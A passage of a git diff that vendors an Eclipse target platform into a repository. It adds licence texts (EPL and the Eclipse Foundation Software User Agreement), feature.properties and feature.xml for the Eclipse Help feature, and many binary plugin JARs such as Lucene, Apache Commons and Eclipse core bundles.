    EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT +NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING +WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR +DISTRIBUTION OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS GRANTED +HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

    + +

    7. GENERAL

    + +

    If any provision of this Agreement is invalid or unenforceable under +applicable law, it shall not affect the validity or enforceability of +the remainder of the terms of this Agreement, and without further action +by the parties hereto, such provision shall be reformed to the minimum +extent necessary to make such provision valid and enforceable.

    + +

    If Recipient institutes patent litigation against any entity +(including a cross-claim or counterclaim in a lawsuit) alleging that the +Program itself (excluding combinations of the Program with other +software or hardware) infringes such Recipient's patent(s), then such +Recipient's rights granted under Section 2(b) shall terminate as of the +date such litigation is filed.

    + +

    All Recipient's rights under this Agreement shall terminate if it +fails to comply with any of the material terms or conditions of this +Agreement and does not cure such failure in a reasonable period of time +after becoming aware of such noncompliance. If all Recipient's rights +under this Agreement terminate, Recipient agrees to cease use and +distribution of the Program as soon as reasonably practicable. However, +Recipient's obligations under this Agreement and any licenses granted by +Recipient relating to the Program shall continue and survive.

    + +

    Everyone is permitted to copy and distribute copies of this +Agreement, but in order to avoid inconsistency the Agreement is +copyrighted and may only be modified in the following manner. The +Agreement Steward reserves the right to publish new versions (including +revisions) of this Agreement from time to time. No one other than the +Agreement Steward has the right to modify this Agreement. The Eclipse +Foundation is the initial Agreement Steward. The Eclipse Foundation may +assign the responsibility to serve as the Agreement Steward to a +suitable separate entity. Each new version of the Agreement will be +given a distinguishing version number. The Program (including +Contributions) may always be distributed subject to the version of the +Agreement under which it was received. In addition, after a new version +of the Agreement is published, Contributor may elect to distribute the +Program (including its Contributions) under the new version. Except as +expressly stated in Sections 2(a) and 2(b) above, Recipient receives no +rights or licenses to the intellectual property of any Contributor under +this Agreement, whether expressly, by implication, estoppel or +otherwise. All rights in the Program not expressly granted under this +Agreement are reserved.

    + +

    This Agreement is governed by the laws of the State of New York and +the intellectual property laws of the United States of America. No party +to this Agreement will bring a legal action under this Agreement more +than one year after the cause of action arose. Each party waives its +rights to a jury trial in any resulting litigation.

    + + + + diff --git a/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/feature.properties b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/feature.properties new file mode 100755 index 0000000..d354be4 --- /dev/null +++ b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/feature.properties @@ -0,0 +1,194 @@ +############################################################################### +# Copyright (c) 2008, 2010 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +# feature.properties +# contains externalized strings for feature.xml +# "%foo" in feature.xml corresponds to the key "foo" in this file +# java.io.Properties file (ISO 8859-1 with "\" escapes) +# This file should be translated. + +# "featureName" property - name of the feature +featureName=Eclipse Help System + +# "providerName" property - name of the company that provides the feature +providerName=Eclipse.org + +# "description" property - description of the feature +description=Eclipse help system. + +# "copyright" property - text of the "Feature Update Copyright" +copyright=\ +Copyright (c) 2008, 2010 IBM Corporation and others.\n\ +All rights reserved. This program and the accompanying materials\n\ +are made available under the terms of the Eclipse Public License v1.0\n\ +which accompanies this distribution, and is available at\n\ +http://www.eclipse.org/legal/epl-v10.html\n\ +\n\ +Contributors:\n\ + IBM Corporation - initial API and implementation\n +################ end of copyright property ################################################################################################################### +# Copyright (c) 2000, 2010 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +# feature.properties +# contains externalized strings for feature.xml +# "%foo" in feature.xml corresponds to the key "foo" in this file +# java.io.Properties file (ISO 8859-1 with "\" escapes) +# This file should be translated. + +# "featureName" property - name of the feature + +# "providerName" property - name of the company that provides the feature + +# "updateSiteName" property - label for the update site + +# "description" property - description of the feature + +# "copyright" property - text of the "Feature Update Copyright" + +################ end of copyright property #################################### + +# "licenseURL" property - URL of the "Feature License" +# do not translate value - just change to point to a locale-specific HTML page +licenseURL=license.html + +# "license" property - text of the "Feature Update License" +# should be plain text version of license agreement pointed to be "licenseURL" +license=\ +Eclipse Foundation Software User Agreement\n\ +February 1, 2011\n\ +\n\ +Usage Of Content\n\ +\n\ +THE ECLIPSE FOUNDATION MAKES AVAILABLE SOFTWARE, DOCUMENTATION, INFORMATION AND/OR\n\ +OTHER MATERIALS FOR OPEN SOURCE PROJECTS (COLLECTIVELY "CONTENT").\n\ +USE OF THE CONTENT IS GOVERNED BY THE TERMS AND CONDITIONS OF THIS\n\ +AGREEMENT AND/OR THE TERMS AND CONDITIONS OF LICENSE AGREEMENTS OR\n\ +NOTICES INDICATED OR REFERENCED BELOW. BY USING THE CONTENT, YOU\n\ +AGREE THAT YOUR USE OF THE CONTENT IS GOVERNED BY THIS AGREEMENT\n\ +AND/OR THE TERMS AND CONDITIONS OF ANY APPLICABLE LICENSE AGREEMENTS\n\ +OR NOTICES INDICATED OR REFERENCED BELOW. IF YOU DO NOT AGREE TO THE\n\ +TERMS AND CONDITIONS OF THIS AGREEMENT AND THE TERMS AND CONDITIONS\n\ +OF ANY APPLICABLE LICENSE AGREEMENTS OR NOTICES INDICATED OR REFERENCED\n\ +BELOW, THEN YOU MAY NOT USE THE CONTENT.\n\ +\n\ +Applicable Licenses\n\ +\n\ +Unless otherwise indicated, all Content made available by the\n\ +Eclipse Foundation is provided to you under the terms and conditions of\n\ +the Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is\n\ +provided with this Content and is also available at http://www.eclipse.org/legal/epl-v10.html.\n\ +For purposes of the EPL, "Program" will mean the Content.\n\ +\n\ +Content includes, but is not limited to, source code, object code,\n\ +documentation and other files maintained in the Eclipse Foundation source code\n\ +repository ("Repository") in software modules ("Modules") and made available\n\ +as downloadable archives ("Downloads").\n\ +\n\ + - Content may be structured and packaged into modules to facilitate delivering,\n\ + extending, and upgrading the Content. Typical modules may include plug-ins ("Plug-ins"),\n\ + plug-in fragments ("Fragments"), and features ("Features").\n\ + - Each Plug-in or Fragment may be packaged as a sub-directory or JAR (Java(TM) ARchive)\n\ + in a directory named "plugins".\n\ + - A Feature is a bundle of one or more Plug-ins and/or Fragments and associated material.\n\ + Each Feature may be packaged as a sub-directory in a directory named "features".\n\ + Within a Feature, files named "feature.xml" may contain a list of the names and version\n\ + numbers of the Plug-ins and/or Fragments associated with that Feature.\n\ + - Features may also include other Features ("Included Features"). Within a Feature, files\n\ + named "feature.xml" may contain a list of the names and version numbers of Included Features.\n\ +\n\ +The terms and conditions governing Plug-ins and Fragments should be\n\ +contained in files named "about.html" ("Abouts"). The terms and\n\ +conditions governing Features and Included Features should be contained\n\ +in files named "license.html" ("Feature Licenses"). Abouts and Feature\n\ +Licenses may be located in any directory of a Download or Module\n\ +including, but not limited to the following locations:\n\ +\n\ + - The top-level (root) directory\n\ + - Plug-in and Fragment directories\n\ + - Inside Plug-ins and Fragments packaged as JARs\n\ + - Sub-directories of the directory named "src" of certain Plug-ins\n\ + - Feature directories\n\ +\n\ +Note: if a Feature made available by the Eclipse Foundation is installed using the\n\ +Provisioning Technology (as defined below), you must agree to a license ("Feature \n\ +Update License") during the installation process. If the Feature contains\n\ +Included Features, the Feature Update License should either provide you\n\ +with the terms and conditions governing the Included Features or inform\n\ +you where you can locate them. Feature Update Licenses may be found in\n\ +the "license" property of files named "feature.properties" found within a Feature.\n\ +Such Abouts, Feature Licenses, and Feature Update Licenses contain the\n\ +terms and conditions (or references to such terms and conditions) that\n\ +govern your use of the associated Content in that directory.\n\ +\n\ +THE ABOUTS, FEATURE LICENSES, AND FEATURE UPDATE LICENSES MAY REFER\n\ +TO THE EPL OR OTHER LICENSE AGREEMENTS, NOTICES OR TERMS AND CONDITIONS.\n\ +SOME OF THESE OTHER LICENSE AGREEMENTS MAY INCLUDE (BUT ARE NOT LIMITED TO):\n\ +\n\ + - Eclipse Distribution License Version 1.0 (available at http://www.eclipse.org/licenses/edl-v1.0.html)\n\ + - Common Public License Version 1.0 (available at http://www.eclipse.org/legal/cpl-v10.html)\n\ + - Apache Software License 1.1 (available at http://www.apache.org/licenses/LICENSE)\n\ + - Apache Software License 2.0 (available at http://www.apache.org/licenses/LICENSE-2.0)\n\ + - Metro Link Public License 1.00 (available at http://www.opengroup.org/openmotif/supporters/metrolink/license.html)\n\ + - Mozilla Public License Version 1.1 (available at http://www.mozilla.org/MPL/MPL-1.1.html)\n\ +\n\ +IT IS YOUR OBLIGATION TO READ AND ACCEPT ALL SUCH TERMS AND CONDITIONS PRIOR\n\ +TO USE OF THE CONTENT. If no About, Feature License, or Feature Update License\n\ +is provided, please contact the Eclipse Foundation to determine what terms and conditions\n\ +govern that particular Content.\n\ +\n\ +\n\Use of Provisioning Technology\n\ +\n\ +The Eclipse Foundation makes available provisioning software, examples of which include,\n\ +but are not limited to, p2 and the Eclipse Update Manager ("Provisioning Technology") for\n\ +the purpose of allowing users to install software, documentation, information and/or\n\ +other materials (collectively "Installable Software"). This capability is provided with\n\ +the intent of allowing such users to install, extend and update Eclipse-based products.\n\ +Information about packaging Installable Software is available at\n\ +http://eclipse.org/equinox/p2/repository_packaging.html ("Specification").\n\ +\n\ +You may use Provisioning Technology to allow other parties to install Installable Software.\n\ +You shall be responsible for enabling the applicable license agreements relating to the\n\ +Installable Software to be presented to, and accepted by, the users of the Provisioning Technology\n\ +in accordance with the Specification. By using Provisioning Technology in such a manner and\n\ +making it available in accordance with the Specification, you further acknowledge your\n\ +agreement to, and the acquisition of all necessary rights to permit the following:\n\ +\n\ + 1. A series of actions may occur ("Provisioning Process") in which a user may execute\n\ + the Provisioning Technology on a machine ("Target Machine") with the intent of installing,\n\ + extending or updating the functionality of an Eclipse-based product.\n\ + 2. During the Provisioning Process, the Provisioning Technology may cause third party\n\ + Installable Software or a portion thereof to be accessed and copied to the Target Machine.\n\ + 3. Pursuant to the Specification, you will provide to the user the terms and conditions that\n\ + govern the use of the Installable Software ("Installable Software Agreement") and such\n\ + Installable Software Agreement shall be accessed from the Target Machine in accordance\n\ + with the Specification. Such Installable Software Agreement must inform the user of the\n\ + terms and conditions that govern the Installable Software and must solicit acceptance by\n\ + the end user in the manner prescribed in such Installable Software Agreement. Upon such\n\ + indication of agreement by the user, the provisioning Technology will complete installation\n\ + of the Installable Software.\n\ +\n\ +Cryptography\n\ +\n\ +Content may contain encryption software. The country in which you are\n\ +currently may have restrictions on the import, possession, and use,\n\ +and/or re-export to another country, of encryption software. BEFORE\n\ +using any encryption software, please check the country's laws,\n\ +regulations and policies concerning the import, possession, or use, and\n\ +re-export of encryption software, to see if this is permitted.\n\ +\n\ +Java and all Java-based trademarks are trademarks of Oracle Corporation in the United States, other countries, or both.\n +########### end of license property ########################################## diff --git a/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/feature.xml b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/feature.xml new file mode 100755 index 0000000..d3cc302 --- /dev/null +++ b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/feature.xml @@ -0,0 +1,150 @@ + + + + + %description + + + + %copyright + + + + %license + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/license.html b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/license.html new file mode 100755 index 0000000..f19c483 --- /dev/null +++ b/targetPlatform/features/org.eclipse.help_1.3.0.v20110530-0844-7i7uFFmFFl8nvqbDpEqTvx/license.html @@ -0,0 +1,108 @@ + + + + + +Eclipse Foundation Software User Agreement + + + +

    Eclipse Foundation Software User Agreement

    +

    February 1, 2011

    + +

    Usage Of Content

    + +

    THE ECLIPSE FOUNDATION MAKES AVAILABLE SOFTWARE, DOCUMENTATION, INFORMATION AND/OR OTHER MATERIALS FOR OPEN SOURCE PROJECTS + (COLLECTIVELY "CONTENT"). USE OF THE CONTENT IS GOVERNED BY THE TERMS AND CONDITIONS OF THIS AGREEMENT AND/OR THE TERMS AND + CONDITIONS OF LICENSE AGREEMENTS OR NOTICES INDICATED OR REFERENCED BELOW. BY USING THE CONTENT, YOU AGREE THAT YOUR USE + OF THE CONTENT IS GOVERNED BY THIS AGREEMENT AND/OR THE TERMS AND CONDITIONS OF ANY APPLICABLE LICENSE AGREEMENTS OR + NOTICES INDICATED OR REFERENCED BELOW. IF YOU DO NOT AGREE TO THE TERMS AND CONDITIONS OF THIS AGREEMENT AND THE TERMS AND + CONDITIONS OF ANY APPLICABLE LICENSE AGREEMENTS OR NOTICES INDICATED OR REFERENCED BELOW, THEN YOU MAY NOT USE THE CONTENT.

    + +

    Applicable Licenses

    + +

    Unless otherwise indicated, all Content made available by the Eclipse Foundation is provided to you under the terms and conditions of the Eclipse Public License Version 1.0 + ("EPL"). A copy of the EPL is provided with this Content and is also available at http://www.eclipse.org/legal/epl-v10.html. + For purposes of the EPL, "Program" will mean the Content.

    + +

    Content includes, but is not limited to, source code, object code, documentation and other files maintained in the Eclipse Foundation source code + repository ("Repository") in software modules ("Modules") and made available as downloadable archives ("Downloads").

    + +
      +
    • Content may be structured and packaged into modules to facilitate delivering, extending, and upgrading the Content. Typical modules may include plug-ins ("Plug-ins"), plug-in fragments ("Fragments"), and features ("Features").
    • +
    • Each Plug-in or Fragment may be packaged as a sub-directory or JAR (Java™ ARchive) in a directory named "plugins".
    • +
    • A Feature is a bundle of one or more Plug-ins and/or Fragments and associated material. Each Feature may be packaged as a sub-directory in a directory named "features". Within a Feature, files named "feature.xml" may contain a list of the names and version numbers of the Plug-ins + and/or Fragments associated with that Feature.
    • +
    • Features may also include other Features ("Included Features"). Within a Feature, files named "feature.xml" may contain a list of the names and version numbers of Included Features.
    • +
    + +

    The terms and conditions governing Plug-ins and Fragments should be contained in files named "about.html" ("Abouts"). The terms and conditions governing Features and +Included Features should be contained in files named "license.html" ("Feature Licenses"). Abouts and Feature Licenses may be located in any directory of a Download or Module +including, but not limited to the following locations:

    + +
      +
    • The top-level (root) directory
    • +
    • Plug-in and Fragment directories
    • +
    • Inside Plug-ins and Fragments packaged as JARs
    • +
    • Sub-directories of the directory named "src" of certain Plug-ins
    • +
    • Feature directories
    • +
    + +

    Note: if a Feature made available by the Eclipse Foundation is installed using the Provisioning Technology (as defined below), you must agree to a license ("Feature Update License") during the +installation process. If the Feature contains Included Features, the Feature Update License should either provide you with the terms and conditions governing the Included Features or +inform you where you can locate them. Feature Update Licenses may be found in the "license" property of files named "feature.properties" found within a Feature. +Such Abouts, Feature Licenses, and Feature Update Licenses contain the terms and conditions (or references to such terms and conditions) that govern your use of the associated Content in +that directory.

    + +

    THE ABOUTS, FEATURE LICENSES, AND FEATURE UPDATE LICENSES MAY REFER TO THE EPL OR OTHER LICENSE AGREEMENTS, NOTICES OR TERMS AND CONDITIONS. SOME OF THESE +OTHER LICENSE AGREEMENTS MAY INCLUDE (BUT ARE NOT LIMITED TO):

    + + + +

    IT IS YOUR OBLIGATION TO READ AND ACCEPT ALL SUCH TERMS AND CONDITIONS PRIOR TO USE OF THE CONTENT. If no About, Feature License, or Feature Update License is provided, please +contact the Eclipse Foundation to determine what terms and conditions govern that particular Content.

    + + +

    Use of Provisioning Technology

    + +

    The Eclipse Foundation makes available provisioning software, examples of which include, but are not limited to, p2 and the Eclipse + Update Manager ("Provisioning Technology") for the purpose of allowing users to install software, documentation, information and/or + other materials (collectively "Installable Software"). This capability is provided with the intent of allowing such users to + install, extend and update Eclipse-based products. Information about packaging Installable Software is available at http://eclipse.org/equinox/p2/repository_packaging.html + ("Specification").

    + +

    You may use Provisioning Technology to allow other parties to install Installable Software. You shall be responsible for enabling the + applicable license agreements relating to the Installable Software to be presented to, and accepted by, the users of the Provisioning Technology + in accordance with the Specification. By using Provisioning Technology in such a manner and making it available in accordance with the + Specification, you further acknowledge your agreement to, and the acquisition of all necessary rights to permit the following:

    + +
      +
    1. A series of actions may occur ("Provisioning Process") in which a user may execute the Provisioning Technology + on a machine ("Target Machine") with the intent of installing, extending or updating the functionality of an Eclipse-based + product.
    2. +
    3. During the Provisioning Process, the Provisioning Technology may cause third party Installable Software or a portion thereof to be + accessed and copied to the Target Machine.
    4. +
    5. Pursuant to the Specification, you will provide to the user the terms and conditions that govern the use of the Installable + Software ("Installable Software Agreement") and such Installable Software Agreement shall be accessed from the Target + Machine in accordance with the Specification. Such Installable Software Agreement must inform the user of the terms and conditions that govern + the Installable Software and must solicit acceptance by the end user in the manner prescribed in such Installable Software Agreement. Upon such + indication of agreement by the user, the provisioning Technology will complete installation of the Installable Software.
    6. +
    + +

    Cryptography

    + +

    Content may contain encryption software. The country in which you are currently may have restrictions on the import, possession, and use, and/or re-export to + another country, of encryption software. BEFORE using any encryption software, please check the country's laws, regulations and policies concerning the import, + possession, or use, and re-export of encryption software, to see if this is permitted.

    + +

    Java and all Java-based trademarks are trademarks of Oracle Corporation in the United States, other countries, or both.

    + + diff --git a/targetPlatform/plugins/com.ibm.icu_4.4.2.v20110823.jar b/targetPlatform/plugins/com.ibm.icu_4.4.2.v20110823.jar new file mode 100755 index 0000000..6e97b41 Binary files /dev/null and b/targetPlatform/plugins/com.ibm.icu_4.4.2.v20110823.jar differ diff --git a/targetPlatform/plugins/javax.servlet.jsp_2.0.0.v201101211617.jar b/targetPlatform/plugins/javax.servlet.jsp_2.0.0.v201101211617.jar new file mode 100755 index 0000000..baaaf7b Binary files /dev/null and b/targetPlatform/plugins/javax.servlet.jsp_2.0.0.v201101211617.jar differ diff --git a/targetPlatform/plugins/javax.servlet_2.5.0.v201103041518.jar b/targetPlatform/plugins/javax.servlet_2.5.0.v201103041518.jar new file mode 100755 index 0000000..681a068 Binary files /dev/null and b/targetPlatform/plugins/javax.servlet_2.5.0.v201103041518.jar differ diff --git a/targetPlatform/plugins/org.apache.commons.codec_1.3.0.v201101211617.jar b/targetPlatform/plugins/org.apache.commons.codec_1.3.0.v201101211617.jar new file mode 100755 index 0000000..a30213d Binary files /dev/null and b/targetPlatform/plugins/org.apache.commons.codec_1.3.0.v201101211617.jar differ diff --git a/targetPlatform/plugins/org.apache.commons.el_1.0.0.v201101211617.jar b/targetPlatform/plugins/org.apache.commons.el_1.0.0.v201101211617.jar new file mode 100755 index 0000000..10212b9 Binary files /dev/null and b/targetPlatform/plugins/org.apache.commons.el_1.0.0.v201101211617.jar differ diff --git a/targetPlatform/plugins/org.apache.commons.httpclient_3.1.0.v201012070820.jar b/targetPlatform/plugins/org.apache.commons.httpclient_3.1.0.v201012070820.jar new file mode 100755 index 0000000..57a5652 Binary files /dev/null and b/targetPlatform/plugins/org.apache.commons.httpclient_3.1.0.v201012070820.jar differ diff --git a/targetPlatform/plugins/org.apache.commons.lang_2.4.0.v201005080502.jar b/targetPlatform/plugins/org.apache.commons.lang_2.4.0.v201005080502.jar new file mode 100755 index 0000000..b9e1b4d Binary files /dev/null and b/targetPlatform/plugins/org.apache.commons.lang_2.4.0.v201005080502.jar differ diff --git a/targetPlatform/plugins/org.apache.commons.logging_1.0.4.v201101211617.jar b/targetPlatform/plugins/org.apache.commons.logging_1.0.4.v201101211617.jar new file mode 100755 index 0000000..5103619 Binary files /dev/null and b/targetPlatform/plugins/org.apache.commons.logging_1.0.4.v201101211617.jar differ diff --git a/targetPlatform/plugins/org.apache.jasper_5.5.17.v201101211617.jar b/targetPlatform/plugins/org.apache.jasper_5.5.17.v201101211617.jar new file mode 100755 index 0000000..0f5783b Binary files /dev/null and b/targetPlatform/plugins/org.apache.jasper_5.5.17.v201101211617.jar differ diff --git a/targetPlatform/plugins/org.apache.lucene.analysis_2.9.1.v201101211721.jar b/targetPlatform/plugins/org.apache.lucene.analysis_2.9.1.v201101211721.jar new file mode 100755 index 0000000..3a2f4da Binary files /dev/null and b/targetPlatform/plugins/org.apache.lucene.analysis_2.9.1.v201101211721.jar differ diff --git a/targetPlatform/plugins/org.apache.lucene.core_2.9.1.v201101211721.jar b/targetPlatform/plugins/org.apache.lucene.core_2.9.1.v201101211721.jar new file mode 100755 index 0000000..a5cfb35 Binary files /dev/null and b/targetPlatform/plugins/org.apache.lucene.core_2.9.1.v201101211721.jar differ diff --git a/targetPlatform/plugins/org.apache.lucene.highlighter_2.9.1.v20100421-0704.jar b/targetPlatform/plugins/org.apache.lucene.highlighter_2.9.1.v20100421-0704.jar new file mode 100755 index 0000000..a3d2af9 Binary files /dev/null and b/targetPlatform/plugins/org.apache.lucene.highlighter_2.9.1.v20100421-0704.jar differ diff --git a/targetPlatform/plugins/org.apache.lucene.memory_2.9.1.v20100421-0704.jar b/targetPlatform/plugins/org.apache.lucene.memory_2.9.1.v20100421-0704.jar new file mode 100755 index 0000000..2d46c00 Binary files /dev/null and b/targetPlatform/plugins/org.apache.lucene.memory_2.9.1.v20100421-0704.jar differ diff --git a/targetPlatform/plugins/org.apache.lucene.misc_2.9.1.v20100421-0704.jar b/targetPlatform/plugins/org.apache.lucene.misc_2.9.1.v20100421-0704.jar new file mode 100755 index 0000000..46db3a6 Binary files /dev/null and b/targetPlatform/plugins/org.apache.lucene.misc_2.9.1.v20100421-0704.jar differ diff --git a/targetPlatform/plugins/org.apache.lucene.queries_2.9.1.v20100421-0704.jar b/targetPlatform/plugins/org.apache.lucene.queries_2.9.1.v20100421-0704.jar new file mode 100755 index 0000000..9c9451f Binary files /dev/null and b/targetPlatform/plugins/org.apache.lucene.queries_2.9.1.v20100421-0704.jar differ diff --git a/targetPlatform/plugins/org.apache.lucene.snowball_2.9.1.v20100421-0704.jar b/targetPlatform/plugins/org.apache.lucene.snowball_2.9.1.v20100421-0704.jar new file mode 100755 index 0000000..52b6626 Binary files /dev/null and b/targetPlatform/plugins/org.apache.lucene.snowball_2.9.1.v20100421-0704.jar differ diff --git a/targetPlatform/plugins/org.apache.lucene.spellchecker_2.9.1.v20100421-0704.jar b/targetPlatform/plugins/org.apache.lucene.spellchecker_2.9.1.v20100421-0704.jar new file mode 100755 index 0000000..4618229 Binary files /dev/null and b/targetPlatform/plugins/org.apache.lucene.spellchecker_2.9.1.v20100421-0704.jar differ diff --git a/targetPlatform/plugins/org.apache.lucene_2.9.1.v201101211721.jar b/targetPlatform/plugins/org.apache.lucene_2.9.1.v201101211721.jar new file mode 100755 index 0000000..3558e7d Binary files /dev/null and b/targetPlatform/plugins/org.apache.lucene_2.9.1.v201101211721.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ant.core_3.2.302.v20120110-1739.jar b/targetPlatform/plugins/org.eclipse.ant.core_3.2.302.v20120110-1739.jar new file mode 100755 index 0000000..0aa696d Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ant.core_3.2.302.v20120110-1739.jar differ diff --git a/targetPlatform/plugins/org.eclipse.compare.core_3.5.200.I20110208-0800.jar b/targetPlatform/plugins/org.eclipse.compare.core_3.5.200.I20110208-0800.jar new file mode 100755 index 0000000..ce197ad Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.compare.core_3.5.200.I20110208-0800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.commands_3.6.0.I20110111-0800.jar b/targetPlatform/plugins/org.eclipse.core.commands_3.6.0.I20110111-0800.jar new file mode 100755 index 0000000..a45a6d3 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.commands_3.6.0.I20110111-0800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.contenttype_3.4.100.v20110423-0524.jar b/targetPlatform/plugins/org.eclipse.core.contenttype_3.4.100.v20110423-0524.jar new file mode 100755 index 0000000..9b9e12a Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.contenttype_3.4.100.v20110423-0524.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.databinding.beans_1.2.100.I20100824-0800.jar b/targetPlatform/plugins/org.eclipse.core.databinding.beans_1.2.100.I20100824-0800.jar new file mode 100755 index 0000000..21b9065 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.databinding.beans_1.2.100.I20100824-0800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.databinding.observable_1.4.0.I20110222-0800.jar b/targetPlatform/plugins/org.eclipse.core.databinding.observable_1.4.0.I20110222-0800.jar new file mode 100755 index 0000000..c792458 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.databinding.observable_1.4.0.I20110222-0800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.databinding.property_1.4.0.I20110222-0800.jar b/targetPlatform/plugins/org.eclipse.core.databinding.property_1.4.0.I20110222-0800.jar new file mode 100755 index 0000000..c6457b9 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.databinding.property_1.4.0.I20110222-0800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.databinding_1.4.0.I20110111-0800.jar b/targetPlatform/plugins/org.eclipse.core.databinding_1.4.0.I20110111-0800.jar new file mode 100755 index 0000000..138176d Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.databinding_1.4.0.I20110111-0800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.expressions_3.4.300.v20110228.jar b/targetPlatform/plugins/org.eclipse.core.expressions_3.4.300.v20110228.jar new file mode 100755 index 0000000..e01fd67 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.expressions_3.4.300.v20110228.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.filebuffers_3.5.200.v20110928-1504.jar b/targetPlatform/plugins/org.eclipse.core.filebuffers_3.5.200.v20110928-1504.jar new file mode 100755 index 0000000..2a7fb69 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.filebuffers_3.5.200.v20110928-1504.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.filesystem.linux.x86_1.4.0.v20110423-0524.jar b/targetPlatform/plugins/org.eclipse.core.filesystem.linux.x86_1.4.0.v20110423-0524.jar new file mode 100755 index 0000000..58fa3a0 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.filesystem.linux.x86_1.4.0.v20110423-0524.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.filesystem.linux.x86_64_1.2.0.v20110423-0524.jar b/targetPlatform/plugins/org.eclipse.core.filesystem.linux.x86_64_1.2.0.v20110423-0524.jar new file mode 100755 index 0000000..2f5d2ac Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.filesystem.linux.x86_64_1.2.0.v20110423-0524.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.filesystem.macosx_1.3.0.v20110423-0524.jar b/targetPlatform/plugins/org.eclipse.core.filesystem.macosx_1.3.0.v20110423-0524.jar new file mode 100755 index 0000000..d06f420 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.filesystem.macosx_1.3.0.v20110423-0524.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.filesystem.win32.x86_1.1.300.v20110423-0524.jar b/targetPlatform/plugins/org.eclipse.core.filesystem.win32.x86_1.1.300.v20110423-0524.jar new file mode 100755 index 0000000..7a09da1 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.filesystem.win32.x86_1.1.300.v20110423-0524.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.filesystem.win32.x86_64_1.1.300.v20110423-0524.jar b/targetPlatform/plugins/org.eclipse.core.filesystem.win32.x86_64_1.1.300.v20110423-0524.jar new file mode 100755 index 0000000..a6f81ca Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.filesystem.win32.x86_64_1.1.300.v20110423-0524.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.filesystem_1.3.100.v20110423-0524.jar b/targetPlatform/plugins/org.eclipse.core.filesystem_1.3.100.v20110423-0524.jar new file mode 100755 index 0000000..c8fbee7 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.filesystem_1.3.100.v20110423-0524.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.jobs_3.5.101.v20120113-1953.jar b/targetPlatform/plugins/org.eclipse.core.jobs_3.5.101.v20120113-1953.jar new file mode 100755 index 0000000..acd096f Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.jobs_3.5.101.v20120113-1953.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.net.linux.x86_1.1.200.I20110419-0800.jar b/targetPlatform/plugins/org.eclipse.core.net.linux.x86_1.1.200.I20110419-0800.jar new file mode 100755 index 0000000..b3f6310 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.net.linux.x86_1.1.200.I20110419-0800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.net.linux.x86_64_1.1.0.I20110331-0827.jar b/targetPlatform/plugins/org.eclipse.core.net.linux.x86_64_1.1.0.I20110331-0827.jar new file mode 100755 index 0000000..5be57cc 